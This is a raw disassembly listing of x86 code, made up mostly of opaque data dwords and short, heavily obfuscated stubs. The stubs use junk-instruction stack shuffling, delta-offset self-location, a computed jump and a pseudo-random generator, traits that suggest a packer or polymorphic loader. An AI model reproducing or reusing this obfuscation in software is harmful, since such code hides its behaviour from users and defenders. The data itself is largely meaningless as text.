		dd 43870B4Ah, 1D711599h, 8CF6C394h, 0A39EEB62h,	3DAE0DDFh
		dd 2684FDAh, 9CE46987h,	8529BBA1h, 0C39436C1h, 7ED27C46h
		dd 0CFDA7A8Fh, 0D6CA0EF2h, 0C66EBB62h, 0DF3387BEh, 48F678FBh
		dd 35C39433h, 500ED5E0h, 8125374Ch, 0BD99AA46h,	0BC69F3C7h
		dd 6D9A5964h, 2DDF2817h, 0D2866060h, 1299F70h, 6EB80000h
		dd 14638C57h, 0C2D13E25h, 63BB548Fh, 1266875Ch,	5A813023h
		dd 9D467983h, 0CD162B70h, 7AF9D420h, 964D788Dh,	1B6F8765h
		dd 0ECC5855Ch, 0DADEA71Dh, 1DED990Dh, 1862C394h, 0BEC73624h
		dd 65826583h, 0C63E2510h, 0D223D5DEh, 0A065F264h, 6DDCA084h
		dd 803F2D18h, 0C21CF7C0h, 7E4B5C7Bh, 0B452B68Ah, 3F44B133h
		dd 0C4D8E402h, 9E39ADBFh, 0EFBD9E73h, 455441ABh, 3A4EE674h
		dd 8D3A6159h, 47D19BB5h, 83774E56h, 54ACA14Fh, 64648A69h
		dd 0E53A6159h, 32BEA590h, 672B938Dh, 0A5192611h, 0D33AD428h
		dd 3802F6C9h, 3B8FBACDh, 783229C7h, 2E000000h, 347C089Ch
		dd 169E3A61h, 3A613472h, 0C8328DF5h, 0D6F381Eh,	8940E476h
		dd 6BD850Eh, 94E1483Ch,	3C42B3B9h, 9F08EB05h, 1BCBBF8Ah
		dd 0BF9BCAE5h, 0D53ACBE1h, 0E26EF5C0h, 90A8DC50h, 0DB3FB899h
		dd 0FAD7202Dh, 605FA716h, 0EED52D9Ch, 6960B31Ah, 7677ADE5h
		dd 2ABBF904h, 5E85B0C5h, 55B264B1h, 0A2166FA9h,	42A69BE0h
		dd 0A5509A6Eh, 52C96752h, 3, 0DE9C84FAh, 0A009FDD4h, 27967A57h
		dd 0AB12E6D1h, 329B6F52h, 0BA63D7EEh, 2EB5F66h,	8871C5FCh
		dd 0DFC4079h, 0CF7BCFFAh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	4BEFh
		mov	[esp], edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		push	esi
		push	17E45C15h
		pop	esi
		shl	esi, 4
		push	esi
		not	dword ptr [esp]
		pop	esi
		sub	esi, 5D9E1F5Fh
		xor	esi, 220D21E0h
		mov	edi, esi
		pop	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	edi
		pop	dword ptr [ebp+8]
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		or	[ecx-1B392166h], dl
		dec	eax
		mov	dl, 0B5h
		mov	dl, 0
		les	edi, [eax+61142B4h]
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0FEh, 18h, 0C3h
		dd 843E4D36h, 0ADBEBE71h, 42D7646Dh, 0D1F3161Fh, 45E55E6Fh
		dd 9E87144Fh, 0EE847138h, 0FDD5393Fh, 37034705h, 3016B80Bh
		dd 0D5096829h, 0B083F25Eh, 0A2F23D43h, 73A374h,	7A92D019h
		dd 256FF21h, 0A3865028h, 981A837h, 1E84B509h, 358D8D54h
		dd 6A061144h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 0B41FC356h, 9C73346h, 0B1E9585h
		dd 4D8D8906h, 8B060B17h, 0B33A995h, 1985C706h, 24060B01h
		dd 8B000064h, 985C7F3h,	60B10h,	60000000h, 12E9h, 932C200h
		dd 32FC3777h, 2D276873h, 1BEE5FE0h, 893751D6h, 0B2735BDh
		dd 0B5FF6106h, 60B1A31h, 58F0FFCh, 66000000h, 5AA1F381h
		dd 0AC595FFh, 0BA66060Bh, 6A564Ch, 32DD95FFh, 0C08B060Bh
		dd 0B5CB5DEBh, 0D7E21451h, 5F4F2183h, 33005787h, 0B1C53559h
		dd 0B03E0E1h, 652E2753h, 0C29642C7h, 0FD72F1DDh, 1DBF5B6Eh
		dd 44CA1022h, 627C48DEh, 70DB12A0h, 34796580h, 893C76F9h
		dd 33F1AC7Bh, 0B9C5ED78h, 0E83AC46Ch, 3C98E737h, 209FE34Bh
		dd 5AFFFA67h, 0BF28ACE4h, 0EA6F8B00h, 0E8BF590Dh, 0Dh
		dd 876A9EEFh, 0C82303F8h, 0A45F76DAh, 0A9BD29B8h, 5A060B1Fh
		dd 0C281DF8Bh, 6C05h, 5479F5B9h, 24E9817Dh, 0FF7D545Fh
		dd 5BD8B32h, 5E060B15h,	3C98D89h, 0F681060Bh, 32CEB760h
		dd 0E3E38166h, 3C68113h, 6056105Ah, 1A958D89h, 0BD2B060Bh
		dd 60B03A9h, 8BC68161h,	562511E9h, 234D858Bh, 895F060Bh
		dd 10E932h, 40C90000h, 98BA1E9Dh, 1E57B599h, 7FE56F4Ch
		dd 0EA83108Eh, 2890F01h, 0B7000000h, 4A4A4AB1h,	850F49F5h
		dd 1Dh,	850Fh, 2AE90000h, 0EF000000h, 0B8DA54Dh, 1620A875h
		dd 1177682h, 2FF2F2E7h,	4D8D0152h, 0E9060B06h, 0FFFFFF6Fh
		dd 0DB36965Eh, 93804E94h, 57B7B163h, 6A8D8DF0h,	6A061146h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0C02C350h, 10325308h, 41B58BFAh, 8B060B08h
		dd 4D8D89D6h, 8B060B17h, 0B20F59Dh, 1985C706h, 1C060B01h
		dd 89000061h, 0B2EBDB5h, 850F06h, 0C7000000h, 0B100985h
		dd 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 805B1938h, 0DE96066h, 0ED000000h
		dd 71BE5085h, 3B0E3623h, 0BE7DF403h, 0F61E28Ah,	684h, 718D0100h
		dd 0FF060B1Fh, 0B2A41B5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 668AF858h
		dd 669604BFh, 40C5C881h, 9E9h, 864F5200h, 2C3EB2F3h, 95FFF29Bh
		dd 60B0AC5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	9EC35646h, 2D852924h, 6A060B19h, 0DD95FF00h, 8B060B32h
		dd 6319EBC0h, 97B4FE04h, 0D9462A6Ch, 0DA6EBA3Ch, 77B5B91Ch
		dd 0CF13FA13h, 1265CBCFh, 0B13EE853h, 0F232565Dh, 0F201EEACh
		dd 0B1325655h, 0B13256ABh, 0E80D1AD5h, 0EBA173EAh, 0B1325675h
		dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh
		dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132545Dh
		dd 0B93581AEh, 0B6325457h, 0A53259ABh, 5D324DD5h, 0F63256E8h
		dd 0F6325677h, 0BAF27DB8h, 9632565Dh, 72402B7Ah, 0AE8C2F17h
		dd 586263C7h, 0B13256D3h, 5C36417Ch, 3A4E557h, 3853CBB9h
		dd 0E9687241h, 0E36267A1h, 803D3737h, 0E96837CBh, 0E1620E8Fh
		dd 0D05236B8h, 58035914h, 0B13256BFh, 0EDFD78F4h, 3A6A0CCBh
		dd 0E1367213h, 0B13BBFF9h, 232F56D5h, 6F2B3689h, 0BEE7DACAh
		dd 0D160068Bh, 0D103593Ch, 0EB6A0CCFh, 5832DD0Fh, 0B13256B8h
		dd 2B77EA7Ah, 0D7F3FE21h, 43CF02D2h, 8FCB96F9h,	3887BAC2h
		dd 0E13672EAh, 58AE3605h, 0B13256ACh, 5F5BA6E6h, 31174A65h
		dd 0B7DB5EB4h, 773256BAh, 0E3EFE2DAh, 58AECB8Dh, 0B1325644h
		dd 1BA71AD4h, 0C7236E4Eh, 0B37FB29Dh, 0FF7B0666h, 0D7372AD5h
		dd 0C25A88DCh, 0B1325047h, 0A5557057h, 2C31E416h, 580359B4h
		dd 0B13256FEh, 0CA3823D9h, 0E6E4A722h, 42507B19h, 0FE9C7F1Eh
		dd 0DA88B38Bh, 0B16A0EF1h, 830FC232h, 0CF0B5669h, 0D7C77AAAh
		dd 922A873Bh, 0B13250B4h, 75E500AEh, 2C41B4FAh,	0B1320ECAh
		dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh
		dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh
		dd 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h
		dd 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh
		dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h
		dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh
		dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h
		dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh
		dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh
		dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh
		dd 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h
		dd 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh
		dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h
		dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh
		dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h
		dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh
		dd 0B13256D5h, 0B1DA36EAh, 0EB325675h, 0F875BC3Bh, 34BF504Ch
		dd 0B7222806h, 0F7AFD4DEh, 33BF50BAh, 0B7238454h, 0F793D463h
		dd 0FFDA5064h, 593256B3h, 0B1325626h, 0F7BFD469h, 0B1325046h
		dd 776056ABh, 0BA1A1350h, 0E35A00ECh, 4EAEFECDh, 0BA21030Fh
		dd 0A9B7DB5Bh, 4E3458D3h, 0C0B7DF87h, 0DB345DA0h, 0A1323ED1h
		dd 0F15A56EAh, 0DB325578h, 0EBE2A9BAh, 82469656h, 0F7BFD427h
		dd 33BB5046h, 0B723103Ah, 0B23F166Ch, 82CADDEAh, 0E398A5B5h
		dd 0B15A52D0h, 0D932564Dh, 0B13252AEh, 23CD563Dh, 0B7395DDAh
		dd 50B0DF8Fh, 0D03447ACh, 0F7BFD3FEh, 0D1F150ABh, 83BBD49Ah
		dd 0B13250A5h, 33F55617h, 0B7395992h, 0B13246D5h, 3A52958Bh
		dd 0A074DBCFh, 0B10DD5BCh, 0CEB17529h, 0BA4654BEh, 0B52229D4h
		dd 76B158DFh, 76D8BDC1h, 0B13346ADh, 43D95675h,	0B222117Dh
		dd 5A32565Dh, 0E4F13747h, 5952BADCh, 0B13256ABh, 8DD8D78Fh
		dd 3A3447A0h, 0A074B3C7h, 0B977DDBCh, 33B150D4h, 0B723104Bh
		dd 73FB3753h, 595256AFh, 0B13256D5h, 0D1D8D7B0h, 3A34473Fh
		dd 0A074B708h, 54806D5Bh, 0C53447E8h, 3A0CDD6Ch, 0FE845974h
		dd 0B075A0D4h, 0B236236Ah, 9A30BDACh, 3A711563h, 0BA1617D8h
		dd 0B8BFDDA8h, 8A345D43h, 8A3B2473h, 3237210Ch,	78D9522Ch
		dd 0B946994Eh, 0A53BEB33h, 6D95056h, 595295CFh,	0B1325657h
		dd 9D8D7F1h, 3A34479Fh,	0A074B750h, 0B032EF73h,	710156BAh
		dd 33B9FDAEh, 0B723104Fh, 0F7D7D4DEh, 725350BAh, 0B132BEB5h
		dd 306856EAh, 0A078B49Fh, 0F4B790BCh, 0E7345D75h, 0AE5F6FC6h
		dd 0E487A983h, 3C345DB8h, 0BF4F4E50h, 0E3E2A9ECh, 31323E25h
		dd 0B15856BAh, 0F7BFE4A2h, 61CD50BFh, 0B15A0C0Fh, 0DB32562Bh
		dd 5080A9D5h, 4E3447ACh, 0E4F137A5h, 5952BA31h,	0B132565Dh
		dd 81D8D7F4h, 3A34471Ch, 29DA5EDEh, 0E43256D7h,	0F7AFC415h
		dd 8A6F5064h, 5F475ACFh, 0B130D0B5h, 73FB37AEh,	3A67565Fh
		dd 4DF6D547h, 59610183h, 0B13256EAh, 0D5D8D72Fh, 3A3447F1h
		dd 0CCB95E28h, 596401BEh, 0B1325660h, 904696A0h, 4E67AE5Eh
		dd 0A074CB78h, 0C4090B73h, 0D72022B6h, 56B248D6h, 312CDC5Eh
		dd 2CDAA6B4h, 5A3256ADh, 4D4FDF01h, 4ECC0B02h, 0EF6D0D8Ah
		dd 78CE1331h, 0E4325A9Fh, 75B1BA25h, 0E06401AFh, 497791F8h
		dd 0B13256D5h, 0F7FFD42Dh, 0B1335064h, 0C4B956BAh, 0AFB93055h
		dd 0F7BFEC25h, 0EEB95046h, 0C5E95DA3h, 0C4EC6DDAh, 0BD6FDDECh
		dd 323E09FCh, 5BD9427Dh, 312CDD3Bh, 353DBE55h, 0B1325699h
		dd 0BEDBAD2Bh, 0B1329351h, 5AC9D6EAh, 0B18ED27Ah, 4AB256BAh
		dd 1DB659BFh, 313256AEh, 353DB5ACh, 0B1325631h,	0D6C9D7B3h
		dd 29B65909h, 31325675h, 3054A65Dh, 0BEB259A6h,	0B132C72Ah
		dd 41D1D657h, 0BE42AD2Bh, 0B132D351h, 0AFB930EAh, 31CAB5F5h
		dd 0F346EE41h, 0C53768DDh, 9C0CD693h, 8FB26E23h, 4E0122C3h
		dd 0A0749B57h, 0AFB930ECh, 0D7CAB1F5h, 59B3AD3Bh, 3A547629h
		dd 41D5D6B0h, 30C9D731h, 0D121226Bh, 2CA0A980h,	0EC3447ACh
		dd 0D0CE13FCh, 0B0CE2B39h, 0BB93528h, 0B7396427h, 7CB0DD07h
		dd 883447EDh, 0C36A66E9h, 8888DDBAh, 0E1345D7Ah, 0F7FFD431h
		dd 8D0B504Ch, 8C4D0E9Eh, 0F4F546BCh, 0B1325453h, 7635BDD5h
		dd 0B133AEAFh, 0BB95675h, 0B7231037h, 6A3949D6h, 6F0949DAh
		dd 0ECB95922h, 494FD5A7h, 0B23122D5h, 0EEBBAEB7h, 0A5F5D571h
		dd 7101B451h, 0B13296B4h, 0AFB930AEh, 313E2BDCh, 0BB46BD50h
		dd 31C2B555h, 0A7462611h, 0B6F4649Eh, 0B0759153h, 0B132565Dh
		dd 71B19125h, 0B1A5BF52h, 765456ABh, 3B3A59D2h,	0BED1D6F4h
		dd 39B29DF5h, 0F6F557E5h, 0B132565Fh, 32F5DDAEh, 0C8D95097h
		dd 210CD7CDh, 313D2245h, 0BF47C6D4h, 4E4CD713h,	0B346C62Ah
		dd 76B952B6h, 33BF0945h, 0B72310BEh, 23CD00FBh,	0B7231074h
		dd 0BB4696E1h, 3BF9EFEh, 0B7231053h, 3A6446B6h,	23CD0360h
		dd 0B72310CAh, 46FC7DF6h, 0CCB1080Ch, 0A1475712h, 0D7981FC5h
		dd 0D7B75902h, 0F78459F6h, 0AAD9FDAFh, 0B3CA2BD4h, 95445DEh
		dd 1A549FDEh, 353DEE8Ch, 73DFD13h, 5A9957FCh, 3A96A55Fh
		dd 0EF6B0D69h, 0B9F09F08h, 5DB903ABh, 0B132BEB5h, 306856EAh
		dd 0A07F949Fh, 0B977DDBCh, 0F7A7D4D4h, 785350BFh, 0E4325295h
		dd 75B1BA20h, 0B1DA362Dh, 0EB3256EAh, 0FCD1BCF4h, 0F4F550ABh
		dd 0B13256A5h, 4D7791AEh, 0B1325657h, 3A549698h, 7CB091CBh
		dd 0B03447ACh, 0D7325675h, 21A2AD3Bh, 4AB25628h, 0B9B65946h
		dd 0F1325656h, 0BEDBAD2Bh, 0B132A851h, 4AB216EAh, 45B6599Eh
		dd 0F13256BAh, 0D7C2B1DDh, 313DAD2Fh, 0B1D7D258h, 333156ABh
		dd 0B73940F0h, 53C9D6AAh, 0B1FCD27Ah, 4AB256BAh, 0DB659BEh
		dd 0D73256AEh, 5255ADD6h, 0B188D2A4h, 52B256D5h, 0C1C9D61Ah
		dd 0B187D27Ah, 3A5456BAh, 49D1D643h, 0C58AAD2Eh, 0B40CD610h
		dd 8FB214DFh, 310F22F8h, 89463ED4h, 7CB0A935h, 0D73447FCh
		dd 56B248D6h, 4AB33056h, 9546BED6h, 312CDDCDh, 3054A632h
		dd 0C5F2D711h, 4E673662h, 0A074CB28h, 0F4BB0B5Bh, 0CCB13752h
		dd 343D57ABh, 0B1325783h, 83BBEC5Eh, 3A6250E1h,	0A0749BF7h
		dd 810E6FBCh, 0A0B05905h, 3A3256AFh, 0BA3D6FEDh, 33B906ADh
		dd 0B7231018h, 0E9026AD3h, 0B1C8D97Ah, 0BB956BAh, 0B72310CCh
		dd 0F7A3D42Dh, 38265046h, 0A175DF9Ch, 7CB0DD85h, 3A3447ACh
		dd 386A6669h, 64DB5EE5h, 7632565Dh, 0B130AEEBh,	0B6D95657h
		dd 0B0CA136Ch, 3A3256D5h, 0A074C750h, 20B0D573h, 0A53447FCh
		dd 0F6BB61D4h, 0B2CAD5BEh, 33F55A22h, 0B7231066h, 0B13256D7h
		dd 49B15301h, 326D2B77h, 0C532AEC7h, 0F7845946h, 0B1B2FFAFh
		dd 0B7475657h, 0B4DAD5EBh, 4E1F5E3Eh, 323256EAh, 0BAD9539Dh
		dd 7CA8DDE9h, 3A34471Bh, 186965AAh, 31325657h, 773142DEh
		dd 0B2379656h, 0A0749B68h, 0F6BB1E73h, 0BD75DFB2h, 69C500B6h
		dd 69C59085h, 0B23796D4h, 0A0749B29h, 0F6BB1ED3h, 0BD75DFE2h
		dd 7101689Eh, 19331030h, 0B21323DDh, 0B3F2D568h, 0B13257ECh
		dd 0C5E95DABh, 1EA8DCDCh, 31344664h, 72315796h,	383A1133h
		dd 0A5D95A1Ah, 4E178E59h, 9A325657h, 32EAA16Dh,	0F6BB5415h
		dd 0BD75DFE2h, 72FB378Dh, 32DEDDEFh, 5952AA99h,	0B13256AEh
		dd 45D8D70Dh, 3A3447E4h, 0A074DB6Fh, 32FB65ECh,	353D564Ah
		dd 0B1325678h, 0C4CD51D6h, 0B947A9A2h, 0B041BE07h, 0B44156ABh
		dd 5A269156h, 4D77DF08h, 4E3E238Ah, 86CD5ECFh, 0B1330AB5h
		dd 26B059AEh, 3A325657h, 0B60BAAEEh, 0B1BED4DAh, 0F4CD56EAh
		dd 0B54DD589h, 323A22BAh, 0C5325A22h, 93CBDACh,	4ECDA9A8h
		dd 0B1325312h, 5A99A5D5h, 0A14DD529h, 323D2270h, 0C43446C5h
		dd 0F6B9174Ch, 0BD6DDDAAh, 0F6B915BCh, 0BD6DDDAFh, 0F6B96F3Eh
		dd 0BD6DDDEEh, 0C43A094Eh, 0E6B904AFh, 0A1677D59h, 3A2603ADh
		dd 6B195A08h, 0EB37BD28h, 0F6B9443Eh, 0BD6DDDEEh, 3236095Eh
		dd 3B315351h, 0B7394540h, 0B222292Dh, 9A735722h, 0B06EDF72h
		dd 4ECDEED4h, 0B48BA915h, 42325675h, 4E64BF11h,	7853A9A2h
		dd 0E432466Ch, 75B1BADCh, 0B1DA3657h, 0EB3256D5h, 0E1EDBC6Bh
		dd 0BB95064h, 0B7231037h, 8EB19F6Eh, 20B659AEh,	3A325657h
		dd 0BD47A9ACh, 0E13A232Ah, 0B132DE02h, 32372575h, 53D9427Dh
		dd 4ECE13D4h, 0C4CD5ADBh, 5905A95Fh, 0B13256DAh, 0F4B93CA7h
		dd 0C3356F16h, 4D77A916h, 0B1362939h, 0CEB15E29h, 0B34656A2h
		dd 4E8A58BCh, 8CDA954h,	0B13256D0h, 7AD9FD19h, 0B42229F6h
		dd 0CEB159CEh, 0A047504Dh, 0B575DDEFh, 5A3E09DCh, 0B575DDB6h
		dd 5A3E095Eh, 0B575DDF9h, 9A3E09FEh, 5AB152E5h,	0A14DD558h
		dd 0F03323ADh, 0EDBB8F7Ch, 4E8A57AAh, 8CDA92Ah,	0B13256EFh
		dd 36D9FD86h, 0B9F09FDBh, 5DB9035Dh, 0B977DDCEh, 0C33E136Ch
		dd 0A1776DA3h, 5ACA55A2h, 0B1D9AFE9h, 0BDF09F14h, 5DB903BAh
		dd 0D1CE92DEh, 0B1325646h, 5BB30C57h, 0B723071Eh, 6A019FE6h
		dd 3ACE0B63h, 0A074DBCFh, 0B10DD5BCh, 8EB13229h, 32372351h
		dd 40D94290h, 0B1362928h, 0CEB15EA1h, 0B34656E6h, 0F4CD5E9Eh
		dd 0A5F5D546h, 0CEB18DB6h, 0BE4653BEh, 0B72229D4h, 3A7347DEh
		dd 0EEB95292h, 3A2FBDE6h, 0EEB95232h, 3A21BDB6h, 0EEB9521Ah
		dd 0B56D7DA2h, 3237BDD4h, 0C43146D4h, 681917D4h, 0B0330A63h
		dd 4ECDA9CDh, 0B137EF45h, 1AC1565Dh, 3A53C145h,	72FBAA12h
		dd 596107FBh, 0B13256D5h, 0F1D8D7B0h, 3C344727h, 0A074F320h
		dd 0B156EE5Bh, 63DA56AEh, 3A325657h, 5AF36DA0h,	0B57955C1h
		dd 0A64097D1h, 8A221D76h, 5A30247Bh, 5A26BD5Fh,	0CEA8DBBCh
		dd 4E3447FEh, 3C3ABD78h, 0A09EF34Fh, 0EAE1A9ECh, 0E4F10E2Ch
		dd 0B1DABA31h, 0EB32565Dh, 0E3BDBC2Fh, 3C525046h, 0A074F311h
		dd 0B977DDD3h, 0F4B95163h, 0B575DF79h, 38221331h, 0F4B95A1Ah
		dd 0A175DFBAh, 0A1F09F36h, 34F436ABh, 0B7397E90h, 0C2283EADh
		dd 4CDFE62h, 0B73945EFh, 0CC2AD3D0h, 61CD50A0h,	60B8DB05h
		dd 0E03447EDh, 3C68862Ah, 0A0748768h, 0F1855973h, 0E3EADDB6h
		dd 0B2686752h, 0E0B0DF6Dh, 0D0345D73h, 0E85251C3h, 0
; ---------------------------------------------------------------------------
		pop	edx
		sub	edx, 6115300h
		push	edx
		mov	eax, [edx+60B2451h]
		mov	ecx, 41C64E6Dh
		mul	ecx
		pop	edx
		add	eax, 3039h
		and	eax, 7FFFFFFFh
		mov	[edx+60B2451h],	eax
		pop	edx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 51h,	52h, 0E8h
		dd 0
		dd 30EA815Ah, 8B061153h, 0FFBBE8C8h, 0D233FFFFh, 0C28BF1F7h
		dd 8BC3595Ah, 8DC08BC0h, 11494185h, 66D0FF06h, 858DC18Bh
		dd 61152F9h, 2B18589h, 858D060Bh, 6115329h, 17DD8589h
		dd 0B8060Bh, 0B000000h,	47840FC0h, 0C6000000h, 0B284585h
		dd 0DF685606h, 0FFA9C530h, 0B1355B5h, 18858D06h, 0FF060E7Dh
		dd 8D8D50D0h, 60B0545h,	68046A51h, 1000h, 159DB5FFh, 0D0FF060Bh
		dd 159DBD8Bh, 7F03060Bh, 0F8C7813Ch, 0C7000000h, 202447h
		dd 9D8D6000h, 60B0EB9h,	0C00B038Bh, 5840Fh, 8B0000h, 0B9044389h
		dd 234CF6h, 8EBh, 42120000h, 9DE956DDh,	68000004h, 61154CFh
		dd 0FA2B42E9h, 553D68FFh, 38E90611h, 68FFFA2Bh,	61156AFh
		dd 0FA2B2EE9h, 0F4C3D7FFh, 5A77BE6Fh, 2C1D6C99h, 0F1C0D637h
		dd 407F8562h, 0DE3D2493h, 8F78FBDAh, 7FA84B76h,	28C51E29h
		dd 8871E2DFh, 49B8CC60h, 400FC585h, 0FBDADED8h,	605DA617h
		dd 30CA71F3h, 0D5719C35h, 2E4E4EF8h, 48B5C715h,	67BC0D30h
		dd 7492F65Ah, 9F1A11E0h, 10E4DEBDh, 6133B0D0h, 0EBE6313Ah
		dd 566BB667h, 0D1A594E7h, 502ABBF1h, 12E6E7BDh,	2C361EFBh
		dd 2E6D6h, 2D463E00h, 0AD06B31h, 9F05A7E2h, 0B989A8BDh
		dd 8374DCDh, 4D3C1ECFh,	29F07669h, 393F0487h, 9A12D863h
		dd 4111EFEBh, 72AA1E64h, 0A3CB112Ah, 4B1CD62Eh,	64915BBFh
		dd 0D03D2613h, 3D0C1FC7h, 0D6117549h, 8FDA5871h, 27C5BA88h
		dd 11000003h, 0F815CE05h, 0A6479CADh, 10FD665Bh, 0FF28CB0Ah
		dd 0FA599AA5h, 3D0018F3h, 8DB0C926h, 506FB956h,	24116283h
		dd 961ED23Fh, 0C58549F2h, 6F1E8675h, 40E4760Dh,	0BD84EBDEh
		dd 12836951h, 0C32C370Eh, 283286B9h, 0EEEA219Eh, 0E8D499A2h
		dd 7A496C18h, 0F60AE33Ah, 23077BCFh, 1B2E7105h,	84913C85h
		dd 8BB3BE49h, 14FE8664h, 2B9B3h, 0B897E300h, 0E3B4ABBh
		dd 0D0E938D5h, 0A59CE203h, 744B51BEh, 0EA0168EFh, 5BB4AF96h
		dd 0BE47F42h, 0F411C2FDh, 0BC4D96A3h, 484C38ACh, 74C3C585h
		dd 0AD0D6F8Ch, 6BA11C0Bh, 4C9EF299h, 848076D8h,	0DF1C9BDh
		dd 7B05A525h, 0E6D3243Ah, 625DAB12h, 0E7E6209Eh, 0A32276ABh
		dd 2F24C069h, 1C9E92Ch,	0BD770000h, 0C03CCC1Eh,	9CC0FF04h
		dd 0E42538F0h, 77D67054h, 99A31722h, 94E3E70Fh,	1E64C394h
		dd 0E6081DF0h, 48392F93h, 57B04F56h, 0FF456D42h, 0CBAB48ACh
		dd 0BCC85CB1h, 33C3947Bh, 0DA01EBCFh, 0C9944F48h, 3E4930F3h
		dd 0E30BE503h, 0BD9F2C1Eh, 0CF67EB2Fh, 3A6132BFh, 45BF4E6Ah
		dd 2C353BA4h, 3A24259Ah, 0B5AF2668h, 47C69Bh, 6F2E0000h
		dd 5AE4760Dh, 0B47810E5h, 61E1527Ah, 0C394A765h, 0D1A590E4h
		dd 1F3802FDh, 0F472065Ah, 73FD2B55h, 9FEA5AFBh,	0B82CBEBDh
		dd 3A61DBCCh, 72D17F43h, 0DCAC8408h, 93A61DBh, 47E61AABh
		dd 622C36B7h, 9Fh, 0F8D5DE8Ah, 605FA514h, 0CCF30BFAh, 66EA0478h
		dd 0E35762B7h, 7DCE93Ah, 9418319Fh, 5BFB0CC3h, 0A590E448h
		dd 4942FD41h, 1DE3430Ch, 71E2C63Ah, 1ECC5725h, 669F7196h
		dd 82209F42h, 2B2D5A97h, 0A645C26Ch, 0DE8FAC0Dh, 0C3290DEDh
		dd 6CF7CED2h, 89467983h, 8661A7DAh, 47AE61E1h, 71000001h
		dd 0D8352E25h, 8667FCCDh, 709D467Bh, 0DFC82B2Ah, 0DA79FAC5h
		dd 1D207893h, 0EDD029C6h, 0B08F9976h, 43142A3h,	0B63E32DFh
		dd 0C5854BD2h, 0DE7EE655h, 8F78FBDAh, 18944F7Ah, 24A897EDh
		dd 0DED046E0h, 0E072F8D5h, 941D384Ch, 0A2908FC3h, 0C1B31A91h
		dd 2077C63Ah, 0AA13F711h, 75F76C59h, 0DDE43AEBh, 0A9DD1569h
		dd 3EC39491h, 91CEBA32h, 7941C394h, 5663B405h, 3C80AEE2h
		dd 9D11DB60h, 0BD9E6D3Ah, 0F825370Bh, 0CCFD08A0h, 0AB1F2A7Dh
		dd 7EE07357h, 3A61230Eh, 1FFB01ECh, 0B49CAC48h,	6BDF3312h
		dd 8B2AE817h, 97477092h, 0B6839479h, 53840ADh, 90DEB1h
		dd 0BD660000h, 8C9F4750h, 91F5C9BDh, 7F3FE92Dh,	50D4061Dh
		dd 0BD84EB12h, 0A9A4F05Dh, 0F18C1B5h, 0B3C42132h, 61323286h
		dd 5D8DB69Eh, 3F161E8Fh, 92169711h, 0ABAECF2Dh,	0F1D06F52h
		dd 17F610F6h, 0A02C3702h, 0EA152075h, 3E4DA93Fh, 927B9511h
		dd 5E2A4281h, 916AB609h, 369C4D20h, 0F8C2BD6Ah,	0FA8EFA72h
		dd 39016AB6h, 728871C5h, 4642FF43h, 8E555E47h, 0B6FA6266h
		dd 0B99DE56Ah, 7BB12EBAh, 0BEB399Ch, 0FC090422h, 39A7DC1h
		dd 22000000h, 0D4DE9C84h, 57A009FDh, 0D127967Ah, 52AB12E6h
		dd 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h, 0FA0DFC40h
		dd 68CF7BCFh, 794Ah, 89242C89h,	4C581E5h, 83000000h, 2C8704EDh
		dd 0DF685C24h, 89000065h, 0B968240Ch, 89000064h, 3A68241Ch
		dd 89000013h, 9BA2414h,	89061154h, 8B545AD1h, 0C483241Ch
		dd 0DBF6804h, 4890000h,	89C88924h, 0FF580843h, 835B2434h
		dd 34FF04C4h, 0C4835924h, 26BDE904h, 0D172FFFAh, 0AAC36345h
		dd 1A7776A2h, 0FD693555h, 11581BB8h, 0FFC50306h, 69DB43E0h
		dd 90654771h, 9CFC5235h, 2BF5011h, 3A8CA51Eh, 1CDAD239h
		dd 40CBA425h, 0F2E84D35h, 457C7C7Ah, 0B51C3147h, 8705297Fh
